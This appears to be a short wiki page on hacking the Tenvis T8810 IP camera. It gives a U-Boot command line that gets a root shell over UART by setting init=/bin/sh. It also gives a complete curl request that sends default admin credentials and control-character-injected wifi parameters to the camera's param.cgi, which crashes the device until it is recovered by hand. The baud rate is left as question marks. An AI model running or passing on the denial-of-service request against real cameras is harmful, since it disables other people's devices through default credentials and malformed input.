Tenvis T8810
"Although the information we release has been verified and shown to work to the best our knowledge, we cant be held accountable for bricked devices or roots gone wrong."
Tenvis T8810
Purchase
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Hardware Root
The UART interface on this device is located [pictured], and runs at ?????????? and auto boots after a three second delay. A root shell can be accessed by interrupting auto boot and hijacking the init environment variable, setting it to /bin/sh
setenv bootargs console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=/bin/sh ;sf probe 0 0;sf read ${loadaddr} ${sfkernel} ${filesize}; bootm
Remote Denial of Service
WARNING
This will leave your device in an unusable state until recovered via UART. Proceed at your own peril.
Sending the following request will cause the device to crash, and remain in an inoperable state until recovered.
curl 'http://192.168.1.88/cgi-bin/hi3510/param.cgi' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Connection: keep-alive' --data 'cmd=setwirelessattr&cururl=http%3A%2F%2F192.168.1.88%2Fwifi.html&-wf_ssid=%0Assidgoesheres%0D&-wf_auth=3&-wf_mode=%0Dabcdef&-wf_enc=0&-wf_enable=1&-wf_key=key12345' --compressed
